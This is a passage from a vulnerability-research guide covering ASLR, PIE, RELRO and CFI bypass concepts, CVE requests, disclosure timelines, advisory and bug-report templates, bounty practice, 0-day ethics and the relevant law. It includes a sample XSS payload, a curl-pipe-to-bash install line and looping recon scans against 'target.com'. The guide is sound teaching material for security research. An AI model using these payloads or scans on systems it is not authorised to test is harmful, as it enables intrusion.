# NX: NX enabled
Bypass: Use ROP (Return-Oriented Programming) - execute existing code instead of injecting shellcode.
ASLR (Address Space Layout Randomization)
Check if enabled:
# Linux
cat /proc/sys/kernel/randomize_va_space
# 0 = Disabled
# 1 = Partial (stack/heap/libraries)
# 2 = Full (includes PIE)
Bypass techniques:
- Information leak: Leak address to calculate base
- Brute-force: On 32-bit systems (limited entropy)
- Partial overwrite: Overwrite only lower bytes (address space reuse)
Information leak bypass:
# Leak stack/libc address
# Then calculate base and build exploit
PIE (Position Independent Executable)
Detection:
checksec --file=./binary
# Output:
# PIE: PIE enabled
Bypass: Leak binary address to calculate base, similar to ASLR bypass.
RELRO (Relocation Read-Only)
Types:
- Partial RELRO: GOT is writable
- Full RELRO: GOT is read-only after initialization
Detection:
checksec --file=./binary
# Output:
# RELRO: Full RELRO
Partial RELRO bypass: Overwrite GOT entries to redirect execution.
Full RELRO: Must find alternative targets (vtables, function pointers).
Control Flow Integrity (CFI)
Bypass techniques:
- Find valid CFI targets that can be abused
- Exploit data-only attacks (no control flow hijacking needed)
- Use return-oriented programming within valid targets
CVE Process & Disclosure
CVE Request Process
1. Determine if vulnerability deserves CVE:
- Affects security
- Affects multiple users
- Not already assigned CVE
- Fixed or in process of being fixed
2. Request CVE from CNA (CVE Numbering Authority):
MITRE (general software):
Email: cve-assign@mitre.org
Subject: CVE Request - [Product Name] [Vulnerability Type]
Body:
Product: [Name and version]
Vendor: [Vendor name]
Vulnerability Type: [Buffer overflow, XSS, etc.]
Attack Vector: [Remote, local, etc.]
Impact: [Code execution, DoS, info disclosure]
Affected Versions: [Specific versions]
Fixed Version: [Version with fix]
Description:
[Detailed technical description]
Proof of Concept:
[Minimal PoC to demonstrate]
Disclosure Timeline:
Reported to vendor: YYYY-MM-DD
Vendor response: YYYY-MM-DD
Fix available: YYYY-MM-DD
GitHub Security Advisories (for GitHub projects):
- Navigate to repository → Security → Advisories
- Click "New draft security advisory"
- Fill in details (affected versions, severity, description)
- Request CVE automatically
3. Receive CVE ID:
- Format: CVE-YYYY-NNNNN (e.g., CVE-2024-12345)
- Reserved before public disclosure
- Published after disclosure
4. CVSS Scoring:
Calculate severity using CVSS calculator: https://www.first.org/cvss/calculator/3.1
Example scoring:
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality: High (C:H)
- Integrity: High (I:H)
- Availability: High (A:H)
Result: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (Critical 9.8)
Responsible Disclosure Timeline
Standard 90-day disclosure:
Day 0: Discover vulnerability
Day 1-3: Verify and create PoC
Day 5: Report to vendor (encrypted email preferred)
Day 7: Vendor acknowledges receipt
Day 30: Vendor provides fix timeline
Day 60: Vendor releases patch (if ready)
Day 90: Public disclosure (coordinated)
Accelerated disclosure (active exploitation):
Day 0: Discover 0-day being exploited in wild
Day 1: Immediate notification to vendor
Day 7: Public disclosure if no patch
(users need to protect themselves)
Writing Security Advisories
Advisory template:
# Security Advisory: [Product] [Vulnerability Type]
## Summary
[One-paragraph description of vulnerability and impact]
## CVE ID
CVE-YYYY-NNNNN
## Severity
Critical / High / Medium / Low (CVSS X.X)
## Affected Versions
- Product X.X.X through X.X.X
## Fixed Versions
- Product X.X.X and later
## Vulnerability Details
[Technical description of vulnerability]
### Vulnerability Type
[Buffer overflow, SQL injection, etc.]
### Attack Vector
[Remote/Local, network/adjacent/local]
### Attack Complexity
[Low/High - prerequisites for exploitation]
## Proof of Concept
[Minimal code to demonstrate vulnerability]
## Impact
- Remote code execution
- Authentication bypass
- Information disclosure
- Denial of service
## Mitigation
1. Upgrade to version X.X.X or later
2. If upgrade not possible:
- Apply workaround: [description]
- Disable feature: [description]
## Timeline
- YYYY-MM-DD: Vulnerability discovered
- YYYY-MM-DD: Reported to vendor
- YYYY-MM-DD: Vendor confirmed issue
- YYYY-MM-DD: CVE assigned
- YYYY-MM-DD: Patch released
- YYYY-MM-DD: Public disclosure
## Credits
Discovered by: [Your Name / Organization]
## References
- [Link to vendor advisory]
- [Link to patch]
- [Link to CVE entry]
Bug Bounty Programs
Top Bug Bounty Platforms
| Platform | Focus | Website |
|---|---|---|
| HackerOne | General | https://www.hackerone.com/ |
| Bugcrowd | General | https://www.bugcrowd.com/ |
| Synack | Private programs | https://www.synack.com/ |
| Intigriti | European companies | https://www.intigriti.com/ |
| YesWeHack | European companies | https://www.yeswehack.com/ |
| Google VRP | Google products | https://bughunters.google.com/ |
| Microsoft MSRC | Microsoft products | https://www.microsoft.com/en-us/msrc/bounty |
Bug Bounty Best Practices
1. Read the scope carefully:
✅ In Scope:
- *.example.com
- mobile.example.com
- api.example.com
❌ Out of Scope:
- test.example.com
- blog.example.com (third-party)
- Physical security testing
- Social engineering
2. Understand severity ratings:
Critical ($$$$$):
- Remote code execution
- Authentication bypass
- SQL injection with data access
- SSRF with cloud metadata access
High ($$$$):
- Stored XSS
- Privilege escalation
- IDOR with PII access
Medium ($$$):
- Reflected XSS
- CSRF on sensitive actions
Low ($$):
- Self-XSS
- Clickjacking without impact
3. Write quality reports:
Good report structure:
## Summary
[One sentence describing vulnerability and impact]
## Description
[Detailed explanation of what the vulnerability is]
## Steps to Reproduce
1. Navigate to https://example.com/vulnerable-page
2. Enter payload in input field: <script>alert(1)</script>
3. Submit form
4. Observe XSS execution
## Proof of Concept
[Screenshot/video demonstrating vulnerability]
[Code snippet if applicable]
## Impact
An attacker can:
- Steal user session cookies
- Perform actions as victim user
- Deface the website
## Remediation
1. Sanitize user input before displaying
2. Implement Content-Security-Policy header
3. Use httpOnly and secure flags on cookies
## Supporting Material
- Browser: Chrome 120.0.6099.109
- Operating System: Ubuntu 22.04
- Video: [link to PoC video]
4. Automation for efficiency:
# Subdomain enumeration
subfinder -d target.com | httpx | nuclei
# Automated scanning
nuclei -l targets.txt -t ~/nuclei-templates/
# Continuous monitoring
while true; do
subfinder -d target.com | httpx -silent | \
nuclei -silent -t ~/nuclei-templates/cves/ | \
notify -silent
sleep 3600
done
Common Bounty Mistakes to Avoid
❌ Don't:
- Test out-of-scope assets
- Perform denial-of-service attacks
- Access other users' data (beyond PoC)
- Spam duplicate reports
- Demand specific bounty amounts
- Share vulnerability publicly before resolution
✅ Do:
- Follow scope and rules
- Provide clear reproduction steps
- Include impact analysis
- Be professional and patient
- Help vendor understand and fix issue
0-Day Research Ethics
Responsible 0-Day Research
Ethical guidelines:
- Discovery: Finding unknown vulnerabilities is legitimate security research
- Disclosure: Report to vendor for patching before public disclosure
- No harm: Don't exploit vulnerability against real users
- No sale: Don't sell 0-days to malicious actors
- Protect users: Prioritize user safety over researcher fame
Unethical practices:
- ❌ Selling 0-days to offensive contractors without disclosure to vendor
- ❌ Exploiting 0-days for financial gain
- ❌ Releasing 0-days publicly without vendor notification
- ❌ Threatening vendors for payment
Gray areas (debatable):
- ⚠️ Coordinating with government agencies for defensive purposes
- ⚠️ Disclosing after vendor ignores repeated reports (last resort)
- ⚠️ Participating in government offensive programs (legal but controversial)
0-Day Market Economics
Legitimate acquisition:
- Vendors: Purchase to fix their own products
- Governments: Offensive/defensive cyber capabilities (controversial)
- Bug bounties: Ethical acquisition with public disclosure
Illegitimate market:
- Criminal groups purchasing for financial cybercrime
- State-sponsored APTs for espionage/warfare
- Zero-day brokers selling to highest bidder
Pricing (rough estimates):
- iOS/Android remote code execution: $500K - $2M
- Windows kernel exploit: $200K - $500K
- Chrome/Firefox RCE: $100K - $300K
- Popular web app 0-day: $5K - $50K
Note: Bug bounties typically pay far less than gray market, but are ethical and legal.
Tools Reference
Essential Tools
| Tool | Purpose | Installation |
|---|---|---|
| GDB + GEF | Debugging | bash -c "$(curl -fsSL https://gef.blah.cat/sh)" |
| pwntools | Exploit development | pip install pwntools |
| AFL++ | Fuzzing | sudo apt install afl++ |
| radare2 | Binary analysis | sudo apt install radare2 |
| Ghidra | Reverse engineering | https://ghidra-sre.org/ |
| IDA Pro | Disassembler | https://hex-rays.com/ida-pro/ |
| Binary Ninja | Binary analysis | https://binary.ninja/ |
| checksec | Security check | sudo apt install checksec |
Fuzzing Tools
| Tool | Type | Website |
|---|---|---|
| AFL++ | Coverage-guided | https://github.com/AFLplusplus/AFLplusplus |
| LibFuzzer | Coverage-guided | https://llvm.org/docs/LibFuzzer.html |
| Honggfuzz | Feedback-driven | https://github.com/google/honggfuzz |
| Radamsa | Mutation-based | https://gitlab.com/akihe/radamsa |
| Boofuzz | Network protocol | https://github.com/jtpereyda/boofuzz |
Sanitizers (Debugging)
# AddressSanitizer (detect memory errors)
gcc -fsanitize=address -g program.c -o program
# UndefinedBehaviorSanitizer (detect undefined behavior)
gcc -fsanitize=undefined -g program.c -o program
# MemorySanitizer (detect uninitialized reads)
clang -fsanitize=memory -g program.c -o program
# ThreadSanitizer (detect race conditions)
gcc -fsanitize=thread -g program.c -o program
Legal & Ethical Considerations
Legal Framework
United States:
- Computer Fraud and Abuse Act (CFAA) - 18 U.S.C. § 1030
- Accessing computers without authorization is illegal
- Exceeding authorized access is illegal
- Penalties: Fines and imprisonment
European Union:
- Cybercrime Directive - Directive 2013/40/EU
- GDPR - Data protection during research
United Kingdom:
- Computer Misuse Act 1990
- Unauthorized access (Section 1)
- Unauthorized modification (Section 3)
Safe Harbor (Legal Protection)
Bug bounty safe harbor:
Many programs include safe harbor language:
"We will not pursue legal action against researchers who:
- Make good faith effort to avoid privacy violations
- Only access data necessary for vulnerability demonstration
- Do not perform attacks that degrade service quality
- Report vulnerabilities promptly
- Keep vulnerability information confidential until fix is available"
Importance: Provides legal protection for good-faith security research.
Ethical Research Checklist
Before testing:
- Have written authorization (scope, rules of engagement)
- Understand legal boundaries
- Have appropriate insurance (if applicable)
- Know emergency contact for responsible disclosure
During research:
- Only test authorized systems
- Minimize impact (no DoS, don't access unnecessary data)
- Document findings thoroughly
- Protect sensitive data discovered
After discovery:
- Report vulnerability to vendor promptly
- Provide reasonable time for vendor to fix (90 days standard)
- Don't publicly disclose until fix is available
- Request CVE for tracking
Related SOPs
Reverse-Engineering.md- Binary analysis and disassembly techniquesWeb-Application-Security.md- Web application vulnerability testingCryptography-Analysis.md- Cryptographic vulnerability researchFirmware-Reverse-Engineering.md- Embedded device security../OSINT/Techniques/sop-legal-ethics.md- Legal framework for security research
Appendix: Vulnerability Classification
CWE (Common Weakness Enumeration)
| CWE ID | Name | Category |
|---|---|---|
| CWE-119 | Buffer Overflow | Memory Corruption |
| CWE-79 | Cross-Site Scripting | Injection |
| CWE-89 | SQL Injection | Injection |
| CWE-416 | Use After Free | Memory Corruption |
| CWE-787 | Out-of-bounds Write | Memory Corruption |
| CWE-20 | Improper Input Validation | Input Validation |
| CWE-125 | Out-of-bounds Read | Information Disclosure |
| CWE-78 | OS Command Injection | Injection |
| CWE-190 | Integer Overflow | Numeric Errors |
| CWE-862 | Missing Authorization | Access Control |
OWASP Top 10 Mapping
| OWASP Category | Related CWEs |
|---|---|
| A01:2021 - Broken Access Control | CWE-22, CWE-284, CWE-639 |
| A02:2021 - Cryptographic Failures | CWE-259, CWE-327, CWE-916 |
| A03:2021 - Injection | CWE-79, CWE-89, CWE-94 |
| A04:2021 - Insecure Design | CWE-209, CWE-256, CWE-501 |
| A05:2021 - Security Misconfiguration | CWE-16, CWE-611 |
| A06:2021 - Vulnerable Components | CWE-1035, CWE-1104 |
| A07:2021 - Authentication Failures | CWE-287, CWE-384 |
| A08:2021 - Software Integrity Failures | CWE-502, CWE-829 |
| A09:2021 - Logging Failures | CWE-117, CWE-223 |
| A10:2021 - SSRF | CWE-918 |
Related SOPs
Analysis:
- Reverse Engineering - Binary vulnerability analysis and exploit development
- Cryptography Analysis - Cryptographic vulnerability research
- Malware Analysis - Analyzing vulnerability exploitation in malware
Pentesting & Security:
- Linux Pentesting - Linux vulnerability exploitation
- Active Directory Pentesting - Windows and AD vulnerability research
- Web Application Security - Web vulnerability identification
- Mobile Security - Mobile platform vulnerability research
- Firmware Reverse Engineering - Embedded device vulnerability research
- Bug Bounty Hunting - Responsible vulnerability disclosure
- Detection Evasion Testing - Testing exploit detection capabilities